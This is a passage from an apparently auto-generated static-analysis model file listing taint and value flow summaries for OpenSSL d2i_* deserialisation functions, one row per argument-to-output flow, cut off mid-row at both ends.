"(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_IETF_ATTR_SYNTAX", "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX", "(OSSL_INFO_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_INFO_SYNTAX_POINTER", "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_NAMED_DAY", "(OSSL_NAMED_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", 